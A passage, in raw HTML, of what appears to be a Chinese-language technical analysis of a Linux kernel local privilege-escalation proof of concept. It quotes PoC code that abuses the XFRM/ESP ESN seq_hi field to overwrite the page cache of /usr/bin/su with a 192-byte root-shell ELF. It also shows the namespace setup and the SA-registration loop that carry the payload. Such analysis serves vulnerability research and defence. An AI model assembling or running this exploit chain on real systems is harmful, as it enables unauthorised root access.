21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb-&gt;frags[]</span></code><span leaf="">背后的PageCache。</span></p><p data-line="208" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">ESP分支最终得到的是一次稳定的4字节STORE。</span></p><p data-line="210" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这4字节的值来自ESN高32位序列号，而这个字段可由攻击者在SA里提前放好：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="212" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">esp_input_set_header</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> sk_buff *skb, __be32 *seqhi)</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">xfrm_state</span></span><span leaf=""> *</span><span style="color: rgb(128, 128, 128);"><span leaf="">x</span></span><span leaf=""> =</span></span><span leaf=""> xfrm_input_state(skb);</span><br/><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">ip_esp_hdr</span></span><span leaf=""> *</span><span style="color: rgb(128, 128, 128);"><span leaf="">esph</span></span><span leaf="">;</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> ((x-&gt;props.flags &amp; XFRM_STATE_ESN)) {</span><br/><span leaf="">		esph = skb_push(skb, </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">);</span><br/><span leaf="">		*seqhi = esph-&gt;spi;</span><br/><span leaf="">		esph-&gt;spi = esph-&gt;seq_no;</span><br/><span leaf="">		esph-&gt;seq_no = XFRM_SKB_CB(skb)-&gt;seq.input.hi;</span><br/><span leaf="">	}</span><br/><span leaf="">}</span></code></pre><p data-line="227" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">XFRM_SKB_CB(skb)-&gt;seq.input.hi</span></code><span leaf="">最终来自XFRM状态里的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">replay_esn-&gt;seq_hi</span></code><span leaf="">。而这个值是在注册SA时通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">XFRMA_REPLAY_ESN_VAL</span></code><span leaf="">属性传进去的。PoC正是把要写入的4字节payload塞到这里。</span></p><h2 data-line="229" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">ESP路径代码块解析</span></h2><p data-line="231" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">PoC把目标选成</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/usr/bin/su</span></code><span leaf="">，因为它本来就是setuid-root程序。把</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">su</span></code><span leaf="">的PageCache第一页临时换成极小的root-shellELF后，再执行</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/usr/bin/su</span></code><span leaf="">，内核加载的是被污染后的ELF内容，setuid位仍然生效。</span></p><p data-line="233" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">目标和payload相关宏只有几个：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="235" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> TARGET_PATH      </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;/usr/bin/su&#34;</span></span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> PATCH_OFFSET     0</span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> PAYLOAD_LEN      192</span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> ENTRY_OFFSET     0x78</span></span></code></pre><p data-line="242" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">源码里的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">shell_elf[PAYLOAD_LEN]</span></code><span leaf="">是一段192字节ELF。这里不是把payload写进磁盘上的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/usr/bin/su</span></code><span leaf="">，而是覆盖</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/usr/bin/su</span></code><span leaf="">的PageCache前192字节。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ENTRY_OFFSET</span></code><span leaf="">处是新ELF入口，里面做</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">setgid(0)</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">setuid(0)</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">setgroups(0,NULL)</span></code><span leaf="">，最后</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">execve(&#34;/bin/sh&#34;,...)</span></code><span leaf="">。</span></p><p data-line="244" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">ESP需要注册XFRM SA，这要求</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CAP_NET_ADMIN</span></code><span leaf="">。普通用户没有这个权限，所以PoC先进入新的user和net命名空间：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="246" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">setup_userns_netns</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf="">)</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uid_t</span></span><span leaf=""> real_uid = getuid();</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">gid_t</span></span><span leaf=""> real_gid = getgid();</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span style="color: rgb(0, 122, 204);"><span leaf="">map</span></span><span leaf="">[</span><span style="color: rgb(0, 128, 0);"><span leaf="">64</span></span><span leaf="">];</span><br/><span leaf="">	unshare(CLONE_NEWUSER | CLONE_NEWNET);</span><br/><span leaf="">	write_proc(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;/proc/self/setgroups&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;deny&#34;</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">snprintf</span></span><span leaf="">(</span><span style="color: rgb(0, 122, 204);"><span leaf="">map</span></span><span leaf="">, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: rgb(0, 122, 204);"><span leaf="">map</span></span><span leaf="">), </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;0 %u 1&#34;</span></span><span leaf="">, real_uid);</span><br/><span leaf="">	write_proc(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;/proc/self/uid_map&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 122, 204);"><span leaf="">map</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">snprintf</span></span><span leaf="">(</span><span style="color: rgb(0, 122, 204);"><span leaf="">map</span></span><span leaf="">, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: rgb(0, 122, 204);"><span leaf="">map</span></span><span leaf="">), </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;0 %u 1&#34;</span></span><span leaf="">, real_gid);</span><br/><span leaf="">	write_proc(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;/proc/self/gid_map&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 122, 204);"><span leaf="">map</span></span><span leaf="">);</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> s = socket(AF_INET, SOCK_DGRAM, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">ifreq</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">ifr</span></span><span leaf="">;</span></span><span style="color: rgb(0, 122, 204);"><span leaf="">memset</span></span><span leaf="">(&amp;ifr, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(ifr));</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">strncpy</span></span><span leaf="">(ifr.ifr_name, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;lo&#34;</span></span><span leaf="">, IFNAMSIZ);</span><br/><span leaf="">	ioctl(s, SIOCGIFFLAGS, &amp;ifr);</span><br/><span leaf="">	ifr.ifr_flags |= IFF_UP | IFF_RUNNING;</span><br/><span leaf="">	ioctl(s, SIOCSIFFLAGS, &amp;ifr);</span><br/><span leaf="">}</span></code></pre><p data-line="269" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这段代码的目的不是直接拿宿主root，而是在新命名空间里获得配置XFRM所需的网络管理能力，并把</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">lo</span></code><span leaf="">接口拉起来。后面所有包都打到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">127.0.0.1:4500</span></code><span leaf="">。</span></p><p data-line="271" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">接着是注册SA，关键字段是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">seq_hi</span></code><span leaf="">：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="273" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">add_xfrm_sa</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">uint32_t</span></span><span leaf=""> spi, </span><span style="color: rgb(163, 21, 21);"><span leaf="">uint32_t</span></span><span leaf=""> patch_seqhi)</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">xfrm_usersa_info</span></span><span leaf=""> *</span><span style="color: rgb(128, 128, 128);"><span leaf="">xs</span></span><span leaf=""> =</span></span><span leaf=""> (</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> xfrm_usersa_info *)NLMSG_DATA(nlh);</span><br/><span leaf="">	xs-&gt;id.spi = htonl(spi);</span><br/><span leaf="">	xs-&gt;id.proto = IPPROTO_ESP;</span><br/><span leaf="">	xs-&gt;family = AF_INET;</span><br/><span leaf="">	xs-&gt;mode = XFRM_MODE_TRANSPORT;</span><br/><span leaf="">	xs-&gt;flags = XFRM_STATE_ESN;</span><br/><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">xfrm_replay_state_esn</span></span><span leaf=""> *</span><span style="color: rgb(128, 128, 128);"><span leaf="">esn</span></span><span leaf=""> =</span></span><br/><span leaf="">		(</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> xfrm_replay_state_esn *)esn_buf;</span><br/><span leaf="">	esn-&gt;bmp_len = </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">;</span><br/><span leaf="">	esn-&gt;seq = REPLAY_SEQ;</span><br/><span leaf="">	esn-&gt;seq_hi = patch_seqhi;</span><br/><span leaf="">	esn-&gt;replay_window = </span><span style="color: rgb(0, 128, 0);"><span leaf="">32</span></span><span leaf="">;</span><br/><span leaf="">	put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(esn_buf));</span><br/><span leaf="">}</span></code></pre><p data-line="294" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">patch_seqhi</span></code><span leaf="">就是最终会被STORE到目标页缓存里的4字节。PoC按4字节切分</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">shell_elf</span></code><span leaf="">，每4字节注册一个SPI不同的SA。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="296" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i &lt; PAYLOAD_LEN / </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">; i++) {</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint32_t</span></span><span leaf=""> spi = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0xDEADBE10</span></span><span leaf=""> + i;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint32_t</span></span><span leaf=""> seqhi =</span><br/><span leaf="">		((</span><span style="color: rgb(163, 21, 21);"><span leaf="">uint32_t</span></span><span leaf="">)shell_elf[i*</span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf=""> + </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">] &lt;&lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">24</span></span><span leaf="">) |</span><br/><span leaf="">		((</span><span style="color: rgb(163, 21, 21);"><span leaf="">uint32_t</span></span><span leaf="">)shell_elf[i*</span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf=""> + </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">] &lt;&lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">16</span></span><span leaf="">) |</span><br/><span leaf="">		((</span><span style="color: rgb(163, 21, 21);"><span leaf="">uint32_t</span></span><span leaf="">)shell_elf[i*</span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf=""> + </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">] &lt;&lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">) |</span><br/><span leaf="">		((</span><span style="color: rgb(163, 21, 21);"><span leaf="">uint32_t</span></span><span leaf="">)shell_elf[i*</span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf=""> + </span><span style="color: rgb(0, 128, 0);"><span leaf="">3</span></span><span leaf="">]);</span><br/><span leaf="">	add_xfrm_sa(spi, seqhi);</span><br/><span leaf="">}</span></code></pre><p data-line="309" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这个循环把“要写入的4字节”转换成“XFRM状态里的ESN高32位”。后续每触发一次指定SPI的ESP包，就在对应文件偏移写4字节。</span></p><p data-line="311" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, 